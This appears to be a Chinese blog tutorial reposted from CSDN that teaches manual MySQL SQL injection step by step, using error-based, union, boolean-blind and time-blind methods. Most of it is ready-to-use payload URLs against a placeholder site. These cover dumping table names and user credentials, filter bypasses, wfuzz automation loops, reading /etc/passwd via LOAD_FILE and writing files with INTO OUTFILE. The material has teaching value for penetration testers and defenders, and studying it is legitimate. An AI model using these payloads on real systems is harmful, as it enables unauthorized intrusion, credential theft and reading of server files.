// 红队渗透 · 2025-03-11

SQL注入从入门到入狱：万字长文带你领略手工注入的魅力

sql数据库网络安全渗透测试安全

在SQL注入的世界中，灵活而直观的手工注入展现出独特的魅力。相比自动化工具，手工注入不仅能帮助我们深入理解漏洞原理，还能在特定场景下突破工具的局限。本文将从基础SQL函数入手，逐步探讨报错注入、联合注入、布尔盲注和时间盲注等多种手工注入技术。希望通过这篇文章，能让你感受到SQL注入的精妙之处，并在实战中游刃有余。

本文以MySQL为例，介绍手工注入原理与实现。

一、SQL注入必备函数速览

在开始手工注入之前，掌握一些常用的SQL函数是必不可少的。这些函数将成为我们构造Payload时的得力助手。以下是一些关键函数及其用途：

  • LIMIT <偏移量>,<行数>：限制查询返回的行数，例如LIMIT 1,2表示从第2行开始返回2行数据。
  • COUNT(*)：统计表中的总行数。
  • RAND()：生成0到1之间的随机数。
  • FLOOR(RAND()*<数字>)：从随机小数中提取整数部分。
  • SELECT (SELECT DATABASE())：嵌套查询示例，用于获取当前数据库名。
  • GROUP BY <列名>：按指定列汇总数据。
  • CONCAT(<字符串1>, <字符串2>, ...)：拼接字符串，常用于合并表名或列名。
  • LENGTH(<字符串>)：计算字符串长度。
  • SUBSTR(<字符串>, <偏移量>, <字符长度>)：提取字符串子串。
  • ASCII(<字符>)：返回字符的ASCII码值。
  • SLEEP(<秒数>)：暂停执行指定秒数，常用于时间盲注。
  • IF(<条件>, <真时操作>, <假时操作>)：条件判断语句。
  • LIKE "<字符串>%"：模糊匹配字符串。
  • INTO OUTFILE "<文件路径>"：将查询结果导出到文件。
  • LOAD_FILE("<文件路径>")：读取并返回文件内容。

这些函数将在后续的注入示例中频繁出现，熟练掌握它们将极大提升你的注入效率。

二、基础知识：MySQL 内置数据库

MySQL 预装了一些特殊的系统数据库，这些内置数据库不包含业务数据，而用于存储数据库管理和运行时信息。常见的系统数据库如下：

1. information_schema（元数据存储库）

作用：提供数据库的元数据（即关于数据库本身的信息），但不存储实际数据。

主要表结构：

  • schemata：存储所有数据库（即schema）的名称。
  • tables：存储数据库中的所有表信息。
  • columns：存储所有表的列信息。
  • key_column_usage：存储外键约束信息。
  • statistics：存储索引信息。

示例查询：获取当前数据库的所有表名：

SELECT table_name FROM information_schema.tables WHERE table_schema=database();

2. mysql（用户与权限管理）

作用：存储用户账户、权限、日志等信息，主要用于身份验证和权限控制。

主要表结构：

  • user：存储数据库用户及其权限。
  • db：存储数据库级别的权限控制。
  • tables_priv：存储表级权限。
  • columns_priv：存储列级权限。
  • procs_priv：存储存储过程和函数的权限。

示例查询：列出所有数据库用户：

SELECT user, host FROM mysql.user;

3. performance_schema（性能监控）

作用：记录数据库的性能数据，如查询、I/O、等待事件等。

主要表结构：

  • events_statements_summary_by_digest：存储SQL语句的执行统计信息。
  • threads：存储当前连接的线程信息。
  • table_io_waits_summary_by_table：存储表级别的I/O等待时间。
  • events_waits_summary_global_by_event_name：存储数据库的等待事件统计信息。

示例查询：获取最常执行的SQL语句：

SELECT digest_text, count_star FROM performance_schema.events_statements_summary_by_digest ORDER BY count_star DESC LIMIT 5;

4. sys（简化性能监控）

作用：基于 performance_schema，提供更易读的系统视图，用于数据库状态监控。

主要表结构：

  • sys.user_summary_by_statement_type：按SQL语句类型统计用户的执行情况。
  • sys.processlist：类似 SHOW PROCESSLIST，显示当前连接信息。
  • sys.wait_classes_global_by_avg_latency：存储全局等待事件的平均延迟信息。

示例查询：获取当前数据库的慢查询信息：

SELECT * FROM sys.statements_with_runtimes_in_95th_percentile;

三、手工注入的三大核心技术详解

手工注入主要依赖三种技术：报错注入（Error-based）、联合注入（Union-based）和 盲注（Blind）。下面将逐一展开，结合具体示例说明其应用。

1. 报错注入：利用报错信息挖掘数据

报错注入通过触发数据库报错，观察返回信息来推断后端结构或数据。

步骤1：确认注入点是否存在

报错注入的前提是目标存在SQL注入漏洞，且后端会将数据库错误信息回显到页面。

  • 测试方法：

    • 在参数后添加单引号、双引号或其他SQL语法破坏字符，观察页面响应。
    • 示例： 
      http://meh.com/index.php?id=1'
    • 若返回类似You have an error in your SQL syntax...的错误，则存在注入点且报错可回显。

  • 注意事项：

    • 若单引号被过滤，可尝试"、\或不加引号直接拼接SQL函数。
    • 使用注释符（如--+、#）闭合语句，确保报错触发。

  • 示例：

    http://meh.com/index.php?id=1' --+

    若页面恢复正常但未报错，则需进一步测试报错回显。

步骤2：触发报错并验证回显

报错注入依赖数据库报错信息，因此需确认报错内容是否包含有用数据。

  • 方法：

    • 使用会导致语法错误的Payload，触发报错。
    • 示例： 
      http://meh.com/index.php?id=1' AND 1=2 --+
    • 若页面无变化，尝试更复杂的语句： 
      http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, 'a') --+

      EXTRACTVALUE在MySQL中用于解析XML，若参数无效会报错。

  • 验证报错回显：

    • 若返回类似XPATH syntax error: 'a'的错误，说明报错可控且会回显。

  • 后端逻辑假设：

    • 原始查询可能是： 
      SELECT * FROM users WHERE id = '1'
    • 输入1'后变成： 
      SELECT * FROM users WHERE id = '1''
    • 语法错误触发报错。

步骤3：利用报错函数提取数据

MySQL中有多个函数在报错时会将参数内容回显，常用函数包括EXTRACTVALUE、UPDATEXML和FLOOR等。

方法1：使用EXTRACTVALUE

  • 原理：
    • EXTRACTVALUE(xml, xpath)解析XML并返回指定路径的值，若路径无效则报错并回显参数。
  • 示例： 
    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e)) --+
    • 0x7e是~的十六进制表示，用于分隔。
    • 若数据库名为test_db，报错可能为： 
      XPATH syntax error: '~test_db~'

方法2：使用UPDATEXML

  • 原理：
    • UPDATEXML(xml, xpath, new_value)更新XML，若路径无效则报错并回显。
  • 示例： 
    http://meh.com/index.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1) --+
    • 返回： 
      XPATH syntax error: '~root@localhost~'

方法3：使用FLOOR结合RAND（仅适用于特定版本）

  • 原理：

    • FLOOR(RAND(0)*2)在分组查询中可能因重复计算导致报错，回显子查询结果。

  • 示例：

    http://meh.com/index.php?id=1' AND 1=(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --+
    • 报错： 
      Duplicate entry 'test_db~1' for key 'group_key'

  • 注意：

    • FLOOR方法在MySQL 5.5+中可能失效，优先使用EXTRACTVALUE或UPDATEXML。

步骤4：提取基本数据库信息

利用报错函数提取常用信息。

  • 获取数据库名：

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+

  • 获取当前用户：

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, USER(), 0x7e)) --+

  • 获取版本：

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, @@version, 0x7e)) --+

步骤5：枚举数据库结构

提取表名、列名等信息，借助information_schema。

  • 获取所有表名：

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 0x7e)) --+
    • 可能返回： 
      XPATH syntax error: '~users,orders~'

  • 获取指定表的列名：

    • 假设表名为users： 
      http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+
    • 返回： 
      XPATH syntax error: '~id,username,password~'

  • 限制长度问题：

    • MySQL报错信息通常截断为32个字符，可用LIMIT逐条提取： 
      http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 0x7e)) --+

步骤6：提取表中数据

根据表名和列名提取具体内容。

  • 获取users表的数据：

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username) FROM users), 0x7e)) --+
    • 返回： 
      XPATH syntax error: '~admin,user1~'

  • 拼接多列：

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+
    • 返回： 
      XPATH syntax error: '~admin:123456~'

步骤7：优化与绕过

面对过滤或限制时的应对策略。

  • 绕过空格过滤：

    • 用/**/替代空格： 
      http://meh.com/index.php?id=1'/**/AND/**/EXTRACTVALUE(1,/**/CONCAT(0x7e,/**/DATABASE(),/**/0x7e))--+

  • 绕过关键字过滤：

    • 用大小写混淆或函数嵌套： 
      http://meh.com/index.php?id=1' AnD ExTrAcTvAlUe(1, CoNcAt(0x7e, DaTaBaSe(), 0x7e)) --+

  • 处理长数据：

    • 使用SUBSTR分段提取： 
      http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 1, 30), 0x7e)) --+

注意事项

  1. 报错回显依赖：若后端不显示错误信息，报错注入无效，需转向盲注。
  2. 函数兼容性：EXTRACTVALUE和UPDATEXML适用于MySQL 5.1+，其他数据库可能需调整。
  3. 权限限制：访问information_schema需用户具备相应权限。
  4. 长度限制：报错信息可能截断，需分段提取或优化Payload。

实战演练

假设目标URL为http://meh.com/index.php?id=1，后端查询为：

SELECT * FROM users WHERE id = '1'

示例完整流程如下：

  1. 确认注入点：

    http://meh.com/index.php?id=1'

    返回SQL syntax error，存在注入且报错回显。

  2. 触发报错：

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, 'test') --+

    返回XPATH syntax error: 'test'，报错可控。

  3. 提取数据库名：

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+

    返回XPATH syntax error: '~test_db~'。

  4. 枚举表名：

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='test_db'), 0x7e)) --+

    返回XPATH syntax error: '~users,orders~'。

  5. 提取列名：

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+

    返回XPATH syntax error: '~id,username,password~'。

  6. 提取数据：

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+

    返回XPATH syntax error: '~admin:123456~'。

2. 联合注入：拼接查询结果

联合注入通过UNION SELECT将自定义查询结果与原始查询拼接，前提是确保列数匹配且原始查询返回空结果（例如将id设为无效值，如-1）。

步骤1：确认注入点是否存在

联合查询的前提是目标存在SQL注入漏洞，因此首先需要验证注入点。

  • 测试方法：

    • 在参数后添加单引号，例如： 
      http://meh.com/index.php?id=1'
    • 若页面报错（如显示SQL语法错误）或行为异常（返回空白或部分内容），则可能存在注入点。

  • 注意事项：

    • 若单引号被过滤，可尝试双引号（"）、反斜杠（\）或其他符号。
    • 使用注释符（如--+、#）闭合语句，观察响应变化。

  • 示例：

    http://meh.com/index.php?id=1' --+

    若页面恢复正常，说明注入点可控。

步骤2：确定后端查询的列数

联合查询要求攻击者的UNION SELECT语句列数与原始查询一致，因此需先确定列数。

  • 方法1：使用ORDER BY逐步探测

    • 在URL中添加ORDER BY <数字>，逐步增加数字，直到报错。
    • 示例： 
      http://meh.com/index.php?id=1 ORDER BY 1 --+
http://meh.com/index.php?id=1 ORDER BY 2 --+
http://meh.com/index.php?id=1 ORDER BY 3 --+
    • 若ORDER BY 2正常，ORDER BY 3报错，则后端查询有2列。

  • 方法2：借助工具（如wfuzz）

    • 使用自动化工具快速测试： 
      wfuzz -c -z range,1-10 "http://meh.com/index.php?id=1 ORDER BY FUZZ --+"
    • 通过响应状态码或大小变化判断列数。

  • 结果解读：

    • 假设探测到列数为5，后续Payload需构造5列。

步骤3：构造基础联合查询并确保返回空结果

联合查询需要原始查询返回空结果，以便只显示攻击者构造的内容。

  • 方法：

    • 将参数设置为无效值（如-1），使原始查询无匹配记录。
    • 示例（假设列数为5）： 
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,3,4,5 --+

  • 后端逻辑假设：

    • 原始查询可能是： 
      SELECT column1, column2, column3, column4, column5 FROM table WHERE id = '-1'
    • 因为id=-1不存在，返回空结果，UNION后的内容生效。

  • 验证：

    • 若页面显示数字1,2,3,4,5中的部分或全部，则联合查询生效。

步骤4：确定页面可显示的列

并非所有列的内容都会显示在页面上，需找出哪些列会回显。

  • 方法：

    • 用明显不同的字符串替换数字，逐列测试。
    • 示例： 
      http://meh.com/index.php?id=-1 UNION SELECT 'a','b','c','d','e' --+
    • 检查页面，若显示c，说明第3列可回显。

  • 结果：

    • 假设第3列可显示，后续注入将数据放在第3列。

步骤5：提取基本数据库信息

利用可显示列提取数据库元信息。

  • 获取数据库版本：

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,@@version,4,5 --+
    • 若第3列显示5.7.32，则为MySQL版本。

  • 获取当前用户：

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,USER(),4,5 --+
    • 可能返回root@localhost。

  • 获取当前数据库名：

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,DATABASE(),4,5 --+
    • 可能返回test_db。

  • 获取数据目录：

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,@@datadir,4,5 --+

步骤6：枚举数据库结构

进一步提取表名、列名等信息，通常借助information_schema表。

  • 获取所有表名：

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema=DATABASE() --+
    • GROUP_CONCAT将结果拼接为逗号分隔的字符串，如users,orders。

  • 获取指定表的列名：

    • 假设表名为users： 
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_name='users' --+
    • 可能返回id,username,password。

步骤7：提取表中数据

根据表名和列名，提取具体数据。

  • 获取users表的内容：

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(username),4,5 FROM users --+
    • 可能返回admin,user1,user2。

  • 提取多列内容：

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,CONCAT(username,':',password),4,5 FROM users --+
    • 可能返回admin:123456,user1:password。

步骤8：高级应用（可选）

联合查询还可用于文件操作或权限提升。

  • 导出数据到文件：

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,username,4,5 FROM users INTO OUTFILE '/tmp/users.txt' --+
    • 前提：具有文件写入权限，且路径可控。

  • 读取文件内容：

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,LOAD_FILE('/etc/passwd'),4,5 --+

注意事项

  1. 列数匹配：UNION SELECT的列数必须与原始查询一致。
  2. 数据类型一致：每列的数据类型需与原始查询对应（如字符串列不能注入数字）。
  3. 注释符选择：根据过滤情况使用--+、#或/* */。
  4. 绕过过滤：若空格被过滤，可用/**/替代；若单引号被转义，可用CHAR(39)表示。
  5. 权限限制：文件操作需数据库用户具备FILE权限。

实战演练

假设目标URL为http://meh.com/index.php?id=1，后端查询为：

SELECT id, name, email, age, city FROM users WHERE id = '1'

示例完整流程如下：

  1. 确认注入点：

    http://meh.com/index.php?id=1' --+

    页面正常，存在注入。

  2. 确定列数：

    http://meh.com/index.php?id=1 ORDER BY 5 --+  # 正常
http://meh.com/index.php?id=1 ORDER BY 6 --+  # 报错

    列数为5。

  3. 构造基础联合查询：

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,3,4,5 --+

  4. 确定显示列：

    http://meh.com/index.php?id=-1 UNION SELECT 'a','b','c','d','e' --+

    页面显示c，第3列可回显。

  5. 提取信息：

    • 数据库名： 
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,DATABASE(),4,5 --+
      返回test_db。
    • 表名： 
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema='test_db' --+
      返回users,orders。
    • 列名： 
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_name='users' --+
      返回id,name,email,age,city。
    • 数据： 
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,CONCAT(name,':',email),4,5 FROM users --+
      返回admin:admin@meh.com,user1:user1@meh.com。

3. 盲注：无声中取胜

盲注适用于页面仅返回简单状态（如“成功”或“失败”），而不显示SQL错误或查询结果的场景。攻击者通过构造条件语句，观察页面响应变化（布尔盲注）或响应时间差异（时间盲注），逐字符推断数据库信息。

步骤1：确认注入点是否存在

盲注的第一步是验证参数是否可被SQL语句操控。

  • 测试方法：

    • 输入简单条件语句，观察页面响应。
    • 示例： 
      http://meh.com/index.php?id=1' AND 1=1 --+
      • 若页面正常显示，说明条件为真。
      http://meh.com/index.php?id=1' AND 1=2 --+
      • 若页面异常（如空白或错误提示），说明条件为假，存在注入点。

  • 注意事项：

    • 若单引号被过滤，尝试"、\或无引号拼接。
    • 使用注释符（如--+、#）闭合语句。

  • 后端逻辑假设：

    • 原始查询： 
      SELECT * FROM users WHERE id = '1'
    • 输入1' AND 1=1 --+后： 
      SELECT * FROM users WHERE id = '1' AND 1=1 --'
    • 条件成立，页面正常。

步骤2：选择盲注类型

根据页面反馈特性，选择布尔盲注或时间盲注：

  • 布尔盲注：页面有明显真假状态区分（如“登录成功” vs “登录失败”）。
  • 时间盲注：页面无状态变化，但可通过响应时间推断。

布尔盲注（Boolean-based Blind SQL Injection）

步骤3：验证布尔盲注可行性

  • 方法：

    • 输入恒真和恒假条件，观察页面差异。
    • 示例： 
      http://meh.com/index.php?id=1' AND 1=1 --+  # 页面正常
http://meh.com/index.php?id=1' AND 1=2 --+  # 页面异常

  • 确认：

    • 若响应有明显区分，则布尔盲注可行。

步骤4：逐字符推断数据

布尔盲注通过构造条件，逐字符猜测数据库信息，常用函数包括SUBSTR和ASCII。

获取数据库名

  • 方法：

    • 使用SUBSTR提取数据库名某位置的字符，与猜测值比较。
    • 示例： 
      http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 1, 1)='t' --+
      • 若页面正常，则首字母为t。
      http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 2, 1)='e' --+
      • 若正常，则第2个字母为e。

  • 优化：使用ASCII：

    • 将字符转为ASCII码，缩小猜测范围。
    • 示例： 
      http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+
      • 116是t的ASCII码，若正常则首字母为t。

枚举表名

  • 方法：
    • 查询information_schema.tables： 
      http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117 --+
      • 117是u，若正常则首表名以u开头（如users）。

提取列名和数据

  • 列名： 
    http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1), 1, 1))=105 --+
    • 105是i，可能为id。
  • 数据： 
    http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97 --+
    • 97是a，可能为admin。

步骤5：自动化优化

手动逐字符猜测效率低，可结合工具（如wfuzz）加速。

  • 猜测数据库名：

    for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ --+"; done
    • 范围32-127覆盖标准ASCII字符，正确字符对应正常响应。

  • 获取表名：

    for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),$i,1))=FUZZ --+"; done

时间盲注（Time-based Blind SQL Injection）

步骤3：验证时间盲注可行性

  • 方法：

    • 使用sleep()函数引入延迟，观察响应时间。
    • 示例： 
      http://meh.com/index.php?id=1' AND SLEEP(5) --+
      • 若响应延迟5秒，则时间盲注可行。

  • 注意：

    • 若id=1为真值，需用AND，否则用OR： 
      http://meh.com/index.php?id=0' OR SLEEP(5) --+

步骤4：逐字符推断数据

时间盲注通过条件判断结合延迟，推断数据。

获取数据库名

  • 方法：
    • 使用IF和sleep()： 
      http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(), 1, 1))=116, SLEEP(5), 0) --+
      • 若延迟5秒，则首字母为t。

枚举表名

  • 方法： 
    http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+
    • 延迟则表名首字母为u。

提取数据

  • 方法： 
    http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97, SLEEP(5), 0) --+
    • 延迟则数据首字母为a。

步骤5：自动化优化

时间盲注耗时长，可用wfuzz结合时间筛选。

  • 猜测数据库名：

    for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txt
    • grep "0m4"筛选延迟响应（约5秒）。

  • 提取列内容：

    for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txt

注意事项

  1. 响应稳定性：
    • 布尔盲注依赖页面状态一致性，时间盲注需网络延迟稳定。
  2. 权限要求：
    • 访问information_schema需相应权限。
  3. 绕过过滤：
    • 空格用/**/，关键字用大小写混淆。
  4. 效率优化：
    • 先用二分法猜测ASCII范围（如>64），缩小范围。
  5. 真假值：
    • 时间盲注需根据原始条件选择AND或OR。

实战演练

目标URL：http://meh.com/index.php?id=1，后端：

SELECT * FROM users WHERE id = '1'

示例完整流程如下：

布尔盲注演练

  1. 确认注入： 
    http://meh.com/index.php?id=1' AND 1=1 --+  # 正常
http://meh.com/index.php?id=1' AND 1=2 --+  # 异常
  2. 获取数据库名： 
    http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+  # 正常，'t'
http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 2, 1))=101 --+  # 正常，'e'
    结果：test_db。

时间盲注演练

  1. 验证延迟： 
    http://meh.com/index.php?id=1' AND SLEEP(5) --+  # 延迟5秒
  2. 获取表名： 
    http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+
    延迟则为u，结果：users。

四、总结

手工注入的魅力在于其极致的灵活性与对细节的精准掌控。无论是通过报错注入快速定位数据库结构，还是利用联合注入优雅地拼接数据，亦或是盲注在无声之中悄然挖掘关键信息，每一种技术都如同精心雕琢的艺术品，展现了SQL注入的独特魅力与深邃内涵。本文从基础函数入手，逐步深入实战技巧，全方位为你呈现出了手工注入的全貌。愿你在未来的渗透测试中，能够熟练运用这些方法，在挑战与乐趣中领略SQL注入的无限魅力。

原文 https://blog.csdn.net/2301_79518550/article/details/146105873